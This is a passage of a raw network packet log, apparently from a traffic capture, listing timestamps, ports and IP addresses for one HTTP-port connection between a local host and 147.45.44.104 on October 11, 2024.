Oct 11, 2024 23:07:04.388593912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388628006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388643980 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.388659954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388711929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388714075 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.388746023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388792992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388793945 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.388829947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388859034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388880014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.388910055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388957977 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.388963938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388994932 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389039040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.389050007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389079094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389108896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389123917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.389142036 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389170885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389189005 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.389202118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389233112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389245987 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.389261007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389291048 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389305115 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.389322042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389353037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389369011 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.389384985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389420033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.389431953 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.429400921 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.478338003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478370905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478385925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478419065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478452921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478509903 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.478509903 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.478548050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478586912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478619099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478640079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.478718996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478720903 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.478750944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478782892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478815079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.478815079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478848934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478871107 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.478878975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478912115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478930950 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.478943110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478976965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.478991032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.479013920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479047060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479074955 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.479078054 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479116917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479134083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.479145050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479193926 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.479196072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479228020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479260921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479275942 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.479310036 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479343891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479358912 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.479377031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.479435921 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.568851948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.568869114 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.568936110 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570116043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570266962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570281982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570297003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570312977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570319891 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570327044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570342064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570353031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570384026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570391893 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570396900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570421934 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570480108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570503950 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570518017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570530891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570540905 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570545912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570552111 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570568085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570579052 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570581913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570595980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570610046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570616007 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570622921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570636988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570662022 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570703983 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570722103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570736885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570758104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570770979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570780993 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570785046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570800066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.570805073 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570842981 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.570868015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.620882988 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658489943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658524036 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658555984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658570051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658572912 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658584118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658600092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658607960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658613920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658627987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658642054 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658648014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658657074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658682108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658710003 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658801079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658819914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658834934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658849001 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658857107 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658863068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658876896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658890963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658895969 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658914089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658924103 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658937931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658951998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658957958 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.658967018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.658981085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.659003019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.659017086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.659034967 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.659039021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.659054041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.659069061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.659085035 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.659112930 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.659192085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.659204960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.659219027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.659233093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.659262896 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.659302950 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.749530077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749581099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749614954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749646902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749669075 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.749680042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749711990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749711990 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.749756098 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.749759912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749792099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749835014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.749838114 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749870062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749901056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749912024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.749932051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749964952 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.749977112 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.749995947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750026941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750036955 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.750058889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750089884 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750099897 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.750140905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750174046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750185966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.750205994 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750237942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750247002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.750268936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750299931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750309944 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.750330925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750371933 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.750381947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750411987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750443935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750453949 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.750474930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750508070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750518084 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.750543118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.750588894 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.838608980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838664055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838715076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838747025 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838745117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.838798046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838803053 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.838829041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838861942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838880062 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.838891983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838924885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838937044 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.838957071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.838990927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839016914 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839019060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839051962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839066029 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839164019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839212894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839214087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839247942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839278936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839299917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839334965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839385033 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839418888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839449883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839481115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839497089 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839514017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839548111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839560986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839576960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839627028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839735031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839765072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839796066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839812040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839828014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839859009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839876890 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.839891911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839924097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.839941025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.882440090 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.108809948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.108856916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.108920097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.108952045 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.108973980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109008074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109019995 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109040976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109072924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109081984 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109106064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109138012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109148026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109169960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109201908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109210014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109236002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109277010 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109285116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109318018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109349012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109364986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109380960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109412909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109425068 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109443903 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109476089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109491110 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109508038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109539032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109551907 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109570026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109615088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109617949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109649897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109680891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109694004 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109711885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109740019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109767914 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109771013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109802961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109813929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109838963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109869957 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109884024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109900951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109932899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109946012 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.109966993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.109999895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110011101 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110030890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110049009 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110063076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110090971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110112906 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110121965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110153913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110176086 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110203028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110248089 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110251904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110284090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110315084 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110328913 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110348940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110380888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110394955 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110411882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110444069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110455036 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110475063 CEST	80	49730	147.45.44.104	192.168.2.4
